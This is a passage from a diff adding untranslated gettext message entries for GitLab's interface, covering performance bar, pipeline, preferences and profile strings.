+msgstr ""
+
+msgid "PerformanceBar|Bullet notifications"
+msgstr ""
+
+msgid "PerformanceBar|Download"
+msgstr ""
+
+msgid "PerformanceBar|Elasticsearch calls"
+msgstr ""
+
+msgid "PerformanceBar|External Http calls"
+msgstr ""
+
+msgid "PerformanceBar|Frontend resources"
+msgstr ""
+
+msgid "PerformanceBar|Gitaly calls"
+msgstr ""
+
+msgid "PerformanceBar|Redis calls"
+msgstr ""
+
+msgid "PerformanceBar|Rugged calls"
+msgstr ""
+
+msgid "PerformanceBar|SQL queries"
+msgstr ""
+
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
+msgid "PerformanceBar|Stats"
+msgstr ""
+
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
+msgstr ""
+
+msgid "Permissions"
+msgstr ""
+
+msgid "Permissions Help"
+msgstr ""
+
+msgid "Permissions, LFS, 2FA"
+msgstr ""
+
+msgid "Personal Access Token"
+msgstr ""
+
+msgid "Personal Access Token prefix"
+msgstr ""
+
+msgid "Personal project creation is not allowed. Please contact your administrator with questions"
+msgstr ""
+
+msgid "Phabricator Server Import"
+msgstr ""
+
+msgid "Phabricator Server URL"
+msgstr ""
+
+msgid "Phabricator Tasks"
+msgstr ""
+
+msgid "Pick a name"
+msgstr ""
+
+msgid "Pin code"
+msgstr ""
+
+msgid "Pipeline"
+msgstr ""
+
+msgid "Pipeline %{label}"
+msgstr ""
+
+msgid "Pipeline %{label} for \"%{dataTitle}\""
+msgstr ""
+
+msgid "Pipeline Schedule"
+msgstr ""
+
+msgid "Pipeline Schedules"
+msgstr ""
+
+msgid "Pipeline minutes quota"
+msgstr ""
+
+msgid "Pipeline minutes quota:"
+msgstr ""
+
+msgid "Pipeline ran in fork of project"
+msgstr ""
+
+msgid "Pipeline subscriptions"
+msgstr ""
+
+msgid "Pipeline subscriptions trigger a new pipeline on the default branch of this project when a pipeline successfully completes for a new tag on the %{default_branch_docs} of the subscribed project."
+msgstr ""
+
+msgid "Pipeline triggers"
+msgstr ""
+
+msgid "Pipeline: %{status}"
+msgstr ""
+
+msgid "PipelineCharts|An error has occurred when retrieving the analytics data"
+msgstr ""
+
+msgid "PipelineCharts|An error has occurred when retrieving the pipelines data"
+msgstr ""
+
+msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
+msgstr ""
+
+msgid "PipelineCharts|CI/CD Analytics"
+msgstr ""
+
+msgid "PipelineCharts|Failed:"
+msgstr ""
+
+msgid "PipelineCharts|Overall statistics"
+msgstr ""
+
+msgid "PipelineCharts|Success ratio:"
+msgstr ""
+
+msgid "PipelineCharts|Successful:"
+msgstr ""
+
+msgid "PipelineCharts|There was an error parsing the data for the charts."
+msgstr ""
+
+msgid "PipelineCharts|Total:"
+msgstr ""
+
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgstr ""
+
+msgid "PipelineSchedules|Activated"
+msgstr ""
+
+msgid "PipelineSchedules|Active"
+msgstr ""
+
+msgid "PipelineSchedules|All"
+msgstr ""
+
+msgid "PipelineSchedules|Inactive"
+msgstr ""
+
+msgid "PipelineSchedules|Next Run"
+msgstr ""
+
+msgid "PipelineSchedules|None"
+msgstr ""
+
+msgid "PipelineSchedules|Provide a short description for this pipeline"
+msgstr ""
+
+msgid "PipelineSchedules|Take ownership"
+msgstr ""
+
+msgid "PipelineSchedules|Target"
+msgstr ""
+
+msgid "PipelineSchedules|Variables"
+msgstr ""
+
+msgid "PipelineStatusTooltip|Pipeline: %{ciStatus}"
+msgstr ""
+
+msgid "PipelineStatusTooltip|Pipeline: %{ci_status}"
+msgstr ""
+
+msgid "Pipelines"
+msgstr ""
+
+msgid "Pipelines charts"
+msgstr ""
+
+msgid "Pipelines emails"
+msgstr ""
+
+msgid "Pipelines for merge requests are configured. A detached pipeline runs in the context of the merge request, and not against the merged result. Learn more in the documentation for Pipelines for Merged Results."
+msgstr ""
+
+msgid "Pipelines settings for '%{project_name}' were successfully updated."
+msgstr ""
+
+msgid "Pipelines|API"
+msgstr ""
+
+msgid "Pipelines|Are you sure you want to run this pipeline?"
+msgstr ""
+
+msgid "Pipelines|Build with confidence"
+msgstr ""
+
+msgid "Pipelines|By revoking a trigger you will break any processes making use of it. Are you sure?"
+msgstr ""
+
+msgid "Pipelines|CI Lint"
+msgstr ""
+
+msgid "Pipelines|Child pipeline"
+msgstr ""
+
+msgid "Pipelines|Clear Runner Caches"
+msgstr ""
+
+msgid "Pipelines|Copy trigger token"
+msgstr ""
+
+msgid "Pipelines|Could not load merged YAML content"
+msgstr ""
+
+msgid "Pipelines|Description"
+msgstr ""
+
+msgid "Pipelines|Edit"
+msgstr ""
+
+msgid "Pipelines|Editor"
+msgstr ""
+
+msgid "Pipelines|Get started with CI/CD"
+msgstr ""
+
+msgid "Pipelines|GitLab CI/CD can automatically build, test, and deploy your code. Let GitLab take care of time consuming tasks, so you can spend more time creating."
+msgstr ""
+
+msgid "Pipelines|Group %{namespace_name} has %{percentage}%% or less Shared Runner Pipeline minutes remaining. Once it runs out, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "Pipelines|Group %{namespace_name} has exceeded its pipeline minutes quota. Unless you buy additional pipeline minutes, no new jobs or pipelines in its projects will run."
+msgstr ""
+
+msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
+msgstr ""
+
+msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
+msgstr ""
+
+msgid "Pipelines|Last Used"
+msgstr ""
+
+msgid "Pipelines|Lint"
+msgstr ""
+
+msgid "Pipelines|Loading Pipelines"
+msgstr ""
+
+msgid "Pipelines|Merged YAML is view only"
+msgstr ""
+
+msgid "Pipelines|More Information"
+msgstr ""
+
+msgid "Pipelines|No triggers have been created yet. Add one using the form above."
+msgstr ""
+
+msgid "Pipelines|Owner"
+msgstr ""
+
+msgid "Pipelines|Pipeline Editor"
+msgstr ""
+
+msgid "Pipelines|Project cache successfully reset."
+msgstr ""
+
+msgid "Pipelines|Revoke"
+msgstr ""
+
+msgid "Pipelines|Run Pipeline"
+msgstr ""
+
+msgid "Pipelines|Something went wrong while cleaning runners cache."
+msgstr ""
+
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
+msgid "Pipelines|There are currently no finished pipelines."
+msgstr ""
+
+msgid "Pipelines|There are currently no pipelines."
+msgstr ""
+
+msgid "Pipelines|There was an error fetching the pipelines. Try again in a few moments or contact your support team."
+msgstr ""
+
+msgid "Pipelines|This GitLab CI configuration is invalid."
+msgstr ""
+
+msgid "Pipelines|This GitLab CI configuration is invalid:"
+msgstr ""
+
+msgid "Pipelines|This GitLab CI configuration is invalid: %{reason}."
+msgstr ""
+
+msgid "Pipelines|This GitLab CI configuration is valid."
+msgstr ""
+
+msgid "Pipelines|This is a child pipeline within the parent pipeline"
+msgstr ""
+
+msgid "Pipelines|This pipeline will run code originating from a forked project merge request. This means that the code can potentially have security considerations like exposing CI variables."
+msgstr ""
+
+msgid "Pipelines|This project is not currently set up to run pipelines."
+msgstr ""
+
+msgid "Pipelines|Token"
+msgstr ""
+
+msgid "Pipelines|Trigger user has insufficient permissions to project"
+msgstr ""
+
+msgid "Pipelines|Validating GitLab CI configuration…"
+msgstr ""
+
+msgid "Pipelines|View merged YAML"
+msgstr ""
+
+msgid "Pipelines|Visualize"
+msgstr ""
+
+msgid "Pipelines|Write pipeline configuration"
+msgstr ""
+
+msgid "Pipelines|invalid"
+msgstr ""
+
+msgid "Pipelines|parent"
+msgstr ""
+
+msgid "Pipeline|Actions"
+msgstr ""
+
+msgid "Pipeline|Branch name"
+msgstr ""
+
+msgid "Pipeline|Branches or tags could not be loaded."
+msgstr ""
+
+msgid "Pipeline|Canceled"
+msgstr ""
+
+msgid "Pipeline|Checking pipeline status"
+msgstr ""
+
+msgid "Pipeline|Checking pipeline status."
+msgstr ""
+
+msgid "Pipeline|Commit"
+msgstr ""
+
+msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
+msgstr ""
+
+msgid "Pipeline|Created"
+msgstr ""
+
+msgid "Pipeline|Date"
+msgstr ""
+
+msgid "Pipeline|Detached merge request pipeline"
+msgstr ""
+
+msgid "Pipeline|Duration"
+msgstr ""
+
+msgid "Pipeline|Existing branch name or tag"
+msgstr ""
+
+msgid "Pipeline|Failed"
+msgstr ""
+
+msgid "Pipeline|In progress"
+msgstr ""
+
+msgid "Pipeline|Key"
+msgstr ""
+
+msgid "Pipeline|Manual"
+msgstr ""
+
+msgid "Pipeline|Merge train pipeline"
+msgstr ""
+
+msgid "Pipeline|Merge train pipeline jobs can not be retried"
+msgstr ""
+
+msgid "Pipeline|Merged result pipeline"
+msgstr ""
+
+msgid "Pipeline|Passed"
+msgstr ""
+
+msgid "Pipeline|Pending"
+msgstr ""
+
+msgid "Pipeline|Pipeline"
+msgstr ""
+
+msgid "Pipeline|Pipeline %{idStart}#%{idEnd} %{statusStart}%{statusEnd} for %{commitStart}%{commitEnd}"
+msgstr ""
+
+msgid "Pipeline|Pipeline cannot be run."
+msgstr ""
+
+msgid "Pipeline|Pipelines"
+msgstr ""
+
+msgid "Pipeline|Raw text search is not currently supported. Please use the available search tokens."
+msgstr ""
+
+msgid "Pipeline|Run Pipeline"
+msgstr ""
+
+msgid "Pipeline|Run for"
+msgstr ""
+
+msgid "Pipeline|Run for branch name or tag"
+msgstr ""
+
+msgid "Pipeline|Running"
+msgstr ""
+
+msgid "Pipeline|Search branches"
+msgstr ""
+
+msgid "Pipeline|Skipped"
+msgstr ""
+
+msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{linkStart}CI/CD settings%{linkEnd} will be used by default."
+msgstr ""
+
+msgid "Pipeline|Specify variable values to be used in this run. The values specified in %{settings_link} will be used by default."
+msgstr ""
+
+msgid "Pipeline|Stages"
+msgstr ""
+
+msgid "Pipeline|Status"
+msgstr ""
+
+msgid "Pipeline|Stop pipeline"
+msgstr ""
+
+msgid "Pipeline|Stop pipeline #%{pipelineId}?"
+msgstr ""
+
+msgid "Pipeline|Tag name"
+msgstr ""
+
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|Trigger author"
+msgstr ""
+
+msgid "Pipeline|Triggerer"
+msgstr ""
+
+msgid "Pipeline|Value"
+msgstr ""
+
+msgid "Pipeline|Variables"
+msgstr ""
+
+msgid "Pipeline|We are currently unable to fetch pipeline data"
+msgstr ""
+
+msgid "Pipeline|You’re about to stop pipeline %{pipelineId}."
+msgstr ""
+
+msgid "Pipeline|for"
+msgstr ""
+
+msgid "Pipeline|on"
+msgstr ""
+
+msgid "Pipeline|with stage"
+msgstr ""
+
+msgid "Pipeline|with stages"
+msgstr ""
+
+msgid "PivotalTrackerService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
+msgstr ""
+
+msgid "PivotalTrackerService|Pivotal Tracker API token."
+msgstr ""
+
+msgid "PivotalTrackerService|Project Management Software (Source Commits Endpoint)"
+msgstr ""
+
+msgid "Plain diff"
+msgstr ""
+
+msgid "Plan"
+msgstr ""
+
+msgid "Plan:"
+msgstr ""
+
+msgid "PlantUML"
+msgstr ""
+
+msgid "Play"
+msgstr ""
+
+msgid "Play all manual"
+msgstr ""
+
+msgid "Please %{link_to_register} or %{link_to_sign_in} to comment"
+msgstr ""
+
+msgid "Please %{startTagRegister}register%{endRegisterTag} or %{startTagSignIn}sign in%{endSignInTag} to reply"
+msgstr ""
+
+msgid "Please accept the Terms of Service before continuing."
+msgstr ""
+
+msgid "Please add a comment in the text area above"
+msgstr ""
+
+msgid "Please check the configuration file for this chart"
+msgstr ""
+
+msgid "Please check the configuration file to ensure that a collection of charts has been declared."
+msgstr ""
+
+msgid "Please check the configuration file to ensure that it is available and the YAML is valid"
+msgstr ""
+
+msgid "Please check your email (%{email}) to verify that you own this address and unlock the power of CI/CD. Didn't receive it? %{resend_link}. Wrong email address? %{update_link}."
+msgstr ""
+
+msgid "Please check your email to confirm your account"
+msgstr ""
+
+msgid "Please choose a file"
+msgstr ""
+
+msgid "Please choose a group URL with no special characters."
+msgstr ""
+
+msgid "Please complete your profile with email address"
+msgstr ""
+
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
+msgid "Please contact your administrator."
+msgstr ""
+
+msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
+msgstr ""
+
+msgid "Please copy, download, or print your recovery codes before proceeding."
+msgstr ""
+
+msgid "Please create a password for your new account."
+msgstr ""
+
+msgid "Please create a username with only alphanumeric characters."
+msgstr ""
+
+msgid "Please create an index before enabling indexing"
+msgstr ""
+
+msgid "Please enable and migrate to hashed storage to avoid security issues and ensure data integrity. %{migrate_link}"
+msgstr ""
+
+msgid "Please ensure your account's %{account_link_start}recovery settings%{account_link_end} are up to date."
+msgstr ""
+
+msgid "Please enter a non-negative number"
+msgstr ""
+
+msgid "Please enter a number greater than %{number} (from the project settings)"
+msgstr ""
+
+msgid "Please enter a valid URL format, ex: http://www.example.com/home"
+msgstr ""
+
+msgid "Please enter a valid hex (#RRGGBB or #RGB) color value"
+msgstr ""
+
+msgid "Please enter a valid number"
+msgstr ""
+
+msgid "Please enter or upload a license."
+msgstr ""
+
+msgid "Please fill in a descriptive name for your group."
+msgstr ""
+
+msgid "Please fill out this field."
+msgstr ""
+
+msgid "Please follow the %{link_start}Let's Encrypt troubleshooting instructions%{link_end} to re-obtain your Let's Encrypt certificate."
+msgstr ""
+
+msgid "Please follow the Let's Encrypt troubleshooting instructions to re-obtain your Let's Encrypt certificate: %{docs_url}."
+msgstr ""
+
+msgid "Please migrate all existing projects to hashed storage to avoid security issues and ensure data integrity. %{migrate_link}"
+msgstr ""
+
+msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
+msgstr ""
+
+msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
+msgstr ""
+
+msgid "Please provide a name"
+msgstr ""
+
+msgid "Please provide a valid URL"
+msgstr ""
+
+msgid "Please provide a valid YouTube URL or ID"
+msgstr ""
+
+msgid "Please provide a valid email address."
+msgstr ""
+
+msgid "Please provide attributes to update"
+msgstr ""
+
+msgid "Please reach out if you have any questions and we'll be happy to assist."
+msgstr ""
+
+msgid "Please refer to %{docs_url}"
+msgstr ""
+
+msgid "Please select"
+msgstr ""
+
+msgid "Please select a Jira project"
+msgstr ""
+
+msgid "Please select a country"
+msgstr ""
+
+msgid "Please select a file"
+msgstr ""
+
+msgid "Please select a group."
+msgstr ""
+
+msgid "Please select a valid target branch"
+msgstr ""
+
+msgid "Please select and add a member"
+msgstr ""
+
+msgid "Please select at least one filter to see results"
+msgstr ""
+
+msgid "Please select what should be included in each exported requirement."
+msgstr ""
+
+msgid "Please set a new password before proceeding."
+msgstr ""
+
+msgid "Please share your feedback about %{featureName} %{linkStart}in this issue%{linkEnd} to help us improve the experience."
+msgstr ""
+
+msgid "Please solve the captcha"
+msgstr ""
+
+msgid "Please try again"
+msgstr ""
+
+msgid "Please try and refresh the page. If the problem persists please contact support."
+msgstr ""
+
+msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
+msgstr ""
+
+msgid "Please type the following to confirm:"
+msgstr ""
+
+msgid "Please use this form to report to the admin users who create spam issues, comments or behave inappropriately."
+msgstr ""
+
+msgid "Please wait a moment, this page will automatically refresh when ready."
+msgstr ""
+
+msgid "Please wait while we connect to your repository. Refresh at will."
+msgstr ""
+
+msgid "Please wait while we import the repository for you. Refresh at will."
+msgstr ""
+
+msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
+msgstr ""
+
+msgid "Pod does not exist"
+msgstr ""
+
+msgid "Pod not found"
+msgstr ""
+
+msgid "Pods in use"
+msgstr ""
+
+msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
+msgstr ""
+
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
+msgid "Pre-defined push rules."
+msgstr ""
+
+msgid "Preferences"
+msgstr ""
+
+msgid "Preferences saved."
+msgstr ""
+
+msgid "Preferences|Behavior"
+msgstr ""
+
+msgid "Preferences|Choose between fixed (max. 1280px) and fluid (%{percentage}) application layout."
+msgstr ""
+
+msgid "Preferences|Choose what content you want to see on a project’s overview page."
+msgstr ""
+
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
+msgid "Preferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgstr ""
+
+msgid "Preferences|Display time in 24-hour format"
+msgstr ""
+
+msgid "Preferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "Preferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "Preferences|Failed to save preferences."
+msgstr ""
+
+msgid "Preferences|For example: 30 mins ago."
+msgstr ""
+
+msgid "Preferences|Gitpod"
+msgstr ""
+
+msgid "Preferences|Homepage content"
+msgstr ""
+
+msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
+msgstr ""
+
+msgid "Preferences|Integrations"
+msgstr ""
+
+msgid "Preferences|Layout width"
+msgstr ""
+
+msgid "Preferences|Must be a number between %{min} and %{max}"
+msgstr ""
+
+msgid "Preferences|Navigation theme"
+msgstr ""
+
+msgid "Preferences|Project overview content"
+msgstr ""
+
+msgid "Preferences|Render whitespace characters in the Web IDE"
+msgstr ""
+
+msgid "Preferences|Show one file at a time on merge request's Changes tab"
+msgstr ""
+
+msgid "Preferences|Show whitespace changes in diffs"
+msgstr ""
+
+msgid "Preferences|Sourcegraph"
+msgstr ""
+
+msgid "Preferences|Surround text selection when typing quotes or brackets"
+msgstr ""
+
+msgid "Preferences|Syntax highlighting theme"
+msgstr ""
+
+msgid "Preferences|Tab width"
+msgstr ""
+
+msgid "Preferences|These settings will update how dates and times are displayed for you."
+msgstr ""
+
+msgid "Preferences|This feature is experimental and translations are not complete yet"
+msgstr ""
+
+msgid "Preferences|This setting allows you to customize the appearance of the syntax."
+msgstr ""
+
+msgid "Preferences|This setting allows you to customize the behavior of the system layout and default views."
+msgstr ""
+
+msgid "Preferences|Time display"
+msgstr ""
+
+msgid "Preferences|Time format"
+msgstr ""
+
+msgid "Preferences|Time preferences"
+msgstr ""
+
+msgid "Preferences|Use relative times"
+msgstr ""
+
+msgid "Press %{key}-C to copy"
+msgstr ""
+
+msgid "Prev"
+msgstr ""
+
+msgid "Prevent MR approvals by author."
+msgstr ""
+
+msgid "Prevent MR approvals by the author."
+msgstr ""
+
+msgid "Prevent MR approvals from users who make commits to the MR."
+msgstr ""
+
+msgid "Prevent adding new members to project membership within this group"
+msgstr ""
+
+msgid "Prevent environment from auto-stopping"
+msgstr ""
+
+msgid "Prevent project forking outside current group"
+msgstr ""
+
+msgid "Prevent users from changing their profile name"
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules."
+msgstr ""
+
+msgid "Prevent users from performing write operations on GitLab while performing maintenance."
+msgstr ""
+
+msgid "Preview"
+msgstr ""
+
+msgid "Preview Markdown"
+msgstr ""
+
+msgid "Preview changes"
+msgstr ""
+
+msgid "Preview payload"
+msgstr ""
+
+msgid "Previous Artifacts"
+msgstr ""
+
+msgid "Previous commit"
+msgstr ""
+
+msgid "Previous design"
+msgstr ""
+
+msgid "Previous file in diff"
+msgstr ""
+
+msgid "Previous unresolved discussion"
+msgstr ""
+
+msgid "Primary"
+msgstr ""
+
+msgid "Print codes"
+msgstr ""
+
+msgid "Prioritize"
+msgstr ""
+
+msgid "Prioritize label"
+msgstr ""
+
+msgid "Prioritized Labels"
+msgstr ""
+
+msgid "Prioritized label"
+msgstr ""
+
+msgid "Priority"
+msgstr ""
+
+msgid "Private"
+msgstr ""
+
+msgid "Private - Guest users are not allowed to view detailed release information like title and source code."
+msgstr ""
+
+msgid "Private - Project access must be granted explicitly to each user. If this project is part of a group, access will be granted to members of the group."
+msgstr ""
+
+msgid "Private - The group and its projects can only be viewed by members."
+msgstr ""
+
+msgid "Private group(s)"
+msgstr ""
+
+msgid "Private profile"
+msgstr ""
+
+msgid "Private projects Minutes cost factor"
+msgstr ""
+
+msgid "Private projects can be created in your personal namespace with:"
+msgstr ""
+
+msgid "Proceed"
+msgstr ""
+
+msgid "Product Analytics"
+msgstr ""
+
+msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
+msgstr ""
+
+msgid "Productivity"
+msgstr ""
+
+msgid "Productivity Analytics"
+msgstr ""
+
+msgid "Productivity analytics can help identify the problems that are delaying your team"
+msgstr ""
+
+msgid "ProductivityAanalytics|Merge requests"
+msgstr ""
+
+msgid "ProductivityAanalytics|is earlier than the allowed minimum date"
+msgstr ""
+
+msgid "ProductivityAnalytics|Ascending"
+msgstr ""
+
+msgid "ProductivityAnalytics|Days"
+msgstr ""
+
+msgid "ProductivityAnalytics|Days to merge"
+msgstr ""
+
+msgid "ProductivityAnalytics|Descending"
+msgstr ""
+
+msgid "ProductivityAnalytics|Hours"
+msgstr ""
+
+msgid "ProductivityAnalytics|List"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge Requests"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge date"
+msgstr ""
+
+msgid "ProductivityAnalytics|Merge requests"
+msgstr ""
+
+msgid "ProductivityAnalytics|Time to merge"
+msgstr ""
+
+msgid "ProductivityAnalytics|Trendline"
+msgstr ""
+
+msgid "ProductivityAnalytics|is earlier than the given merged at after date"
+msgstr ""
+
+msgid "Profile"
+msgstr ""
+
+msgid "Profile Settings"
+msgstr ""
+
+msgid "ProfileSession|on"
+msgstr ""
+
+msgid "Profiles| You are about to permanently delete %{yourAccount}, and all of the issues, merge requests, and groups linked to your account. Once you confirm %{deleteAccount}, it cannot be undone or recovered."
+msgstr ""
+
+msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
+msgstr ""
+
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
+msgid "Profiles|%{provider} Active"
+msgstr ""
+
+msgid "Profiles|@username"
+msgstr ""
+
+msgid "Profiles|Account could not be deleted. GitLab was unable to verify your identity."
+msgstr ""
+
+msgid "Profiles|Account scheduled for removal."
+msgstr ""
+
+msgid "Profiles|Activate signin with one of the following services"
+msgstr ""
+
+msgid "Profiles|Active"
+msgstr ""
+
+msgid "Profiles|Add key"
+msgstr ""
+
+msgid "Profiles|Add status emoji"
+msgstr ""
+
+msgid "Profiles|An error occurred while updating your username, please try again."
+msgstr ""
+
+msgid "Profiles|Avatar cropper"
+msgstr ""
+
+msgid "Profiles|Avatar will be removed. Are you sure?"
+msgstr ""
+
+msgid "Profiles|Bio"
+msgstr ""
+
+msgid "Profiles|Busy"
+msgstr ""
+
+msgid "Profiles|Change username"
+msgstr ""
+
+msgid "Profiles|Changing your username can have unintended side effects."
+msgstr ""
+
+msgid "Profiles|Choose file..."
+msgstr ""
+
+msgid "Profiles|Choose to show contributions of private projects on your public profile without any project, repository or organization information"
+msgstr ""
+
+msgid "Profiles|City, country"
+msgstr ""
+
+msgid "Profiles|Clear status"
+msgstr ""
+
+msgid "Profiles|Click on icon to activate signin with one of the following services"
+msgstr ""
+
+msgid "Profiles|Commit email"
+msgstr ""
+
+msgid "Profiles|Connect %{provider}"
+msgstr ""
+
+msgid "Profiles|Connected Accounts"
+msgstr ""
+
+msgid "Profiles|Current path: %{path}"
+msgstr ""
+
+msgid "Profiles|Current status"
+msgstr ""
+
+msgid "Profiles|Default notification email"
+msgstr ""
+
+msgid "Profiles|Delete account"
+msgstr ""
+
+msgid "Profiles|Deleting an account has the following effects:"
+msgstr ""
+
+msgid "Profiles|Disconnect"
+msgstr ""
+
+msgid "Profiles|Disconnect %{provider}"
+msgstr ""
+
+msgid "Profiles|Do not show on profile"
+msgstr ""
+
+msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgstr ""
+
+msgid "Profiles|Edit Profile"
+msgstr ""
+
+msgid "Profiles|Enter your name, so people you know can recognize you"
+msgstr ""
+
+msgid "Profiles|Expires at"
+msgstr ""
+
+msgid "Profiles|Expires:"
+msgstr ""
+
+msgid "Profiles|Feed token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Full name"
+msgstr ""
+
+msgid "Profiles|GitLab is unable to verify your identity automatically. For security purposes, you must set a password by %{openingTag}resetting your password%{closingTag} to delete your account."
+msgstr ""
+
+msgid "Profiles|Give your individual key a title."
+msgstr ""
+
+msgid "Profiles|If after setting a password, the option to delete your account is still not available, please email %{data_request} to begin the account deletion process."
+msgstr ""
+
+msgid "Profiles|Include private contributions on my profile"
+msgstr ""
+
+msgid "Profiles|Incoming email token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Increase your account's security by enabling Two-Factor Authentication (2FA)"
+msgstr ""
+
+msgid "Profiles|Invalid password"
+msgstr ""
+
+msgid "Profiles|Invalid username"
+msgstr ""
+
+msgid "Profiles|Key"
+msgstr ""
+
+msgid "Profiles|Last used:"
+msgstr ""
+
+msgid "Profiles|Learn more"
+msgstr ""
+
+msgid "Profiles|Location"
+msgstr ""
+
+msgid "Profiles|Made a private contribution"
+msgstr ""
+
+msgid "Profiles|Main settings"
+msgstr ""
+
+msgid "Profiles|No file chosen."
+msgstr ""
+
+msgid "Profiles|Notification email"
+msgstr ""
+
+msgid "Profiles|Organization"
+msgstr ""
+
+msgid "Profiles|Path"
+msgstr ""
+
+msgid "Profiles|Position and size your new avatar"
+msgstr ""
+
+msgid "Profiles|Primary email"
+msgstr ""
+
+msgid "Profiles|Private contributions"
+msgstr ""
+
+msgid "Profiles|Profile was successfully updated"
+msgstr ""
+
+msgid "Profiles|Public Avatar"
+msgstr ""
+
+msgid "Profiles|Public email"
+msgstr ""
+
+msgid "Profiles|Remove avatar"
+msgstr ""
+
+msgid "Profiles|Set new profile picture"
+msgstr ""
+
+msgid "Profiles|Social sign-in"
+msgstr ""
+
+msgid "Profiles|Some options are unavailable for LDAP accounts"
+msgstr ""
+
+msgid "Profiles|Static object token was successfully reset"
+msgstr ""
+
+msgid "Profiles|Tell us about yourself in fewer than 250 characters"
+msgstr ""
+
+msgid "Profiles|The ability to update your name has been disabled by your administrator."
+msgstr ""
+
+msgid "Profiles|The maximum file size allowed is 200KB."
+msgstr ""
+
+msgid "Profiles|This doesn't look like a public SSH key, are you sure you want to add it? It will be publicly visible."
+msgstr ""
+
+msgid "Profiles|This email will be displayed on your public profile"
+msgstr ""
+
+msgid "Profiles|This email will be used for web based operations, such as edits and merges. %{commit_email_link_start}Learn more%{commit_email_link_end}"
+msgstr ""
+
+msgid "Profiles|This emoji and message will appear on your profile and throughout the interface."
+msgstr ""
+
+msgid "Profiles|This information will appear on your profile"
+msgstr ""
+
+msgid "Profiles|Time settings"
+msgstr ""
+
+msgid "Profiles|Two-Factor Authentication"
+msgstr ""
+
+msgid "Profiles|Type your %{confirmationValue} to confirm:"
+msgstr ""
+
+msgid "Profiles|Typically starts with \"ssh-ed25519 …\" or \"ssh-rsa …\""
+msgstr ""
+
+msgid "Profiles|Update profile settings"
+msgstr ""
+
+msgid "Profiles|Update username"
+msgstr ""
+
+msgid "Profiles|Upload new avatar"
+msgstr ""
+
+msgid "Profiles|Use a private email - %{email}"
+msgstr ""
+
+msgid "Profiles|User ID"
+msgstr ""
+
+msgid "Profiles|Username change failed - %{message}"
+msgstr ""
+
+msgid "Profiles|Username successfully changed"
+msgstr ""
+
+msgid "Profiles|Using emojis in names seems fun, but please try to set a status message instead"
+msgstr ""
+
+msgid "Profiles|What's your status?"
+msgstr ""
+
+msgid "Profiles|Who you represent or work for"
+msgstr ""
+
+msgid "Profiles|You can change your avatar here"
+msgstr ""
+
+msgid "Profiles|You can change your avatar here or remove the current avatar to revert to %{gravatar_link}"
+msgstr ""
+
+msgid "Profiles|You can set your current timezone here"
+msgstr ""
+
+msgid "Profiles|You can upload your avatar here"
+msgstr ""
+
+msgid "Profiles|You can upload your avatar here or change it at %{gravatar_link}"
+msgstr ""
+
+msgid "Profiles|You don't have access to delete this user."
+msgstr ""
+
+msgid "Profiles|You must transfer ownership or delete groups you are an owner of before you can delete your account"
+msgstr ""
+
+msgid "Profiles|You must transfer ownership or delete these groups before you can delete your account."
+msgstr ""
+
+msgid "Profiles|Your LinkedIn profile name from linkedin.com/in/profilename"
+msgstr ""
+
+msgid "Profiles|Your account is currently an owner in these groups:"
+msgstr ""
+
+msgid "Profiles|Your email address was automatically set based on your %{provider_label} account"
+msgstr ""
+
+msgid "Profiles|Your key has expired"
+msgstr ""
+
+msgid "Profiles|Your location was automatically set based on your %{provider_label} account"
+msgstr ""
+
+msgid "Profiles|Your name was automatically set based on your %{provider_label} account, so people you know can recognize you"
+msgstr ""
+
+msgid "Profiles|Your status"
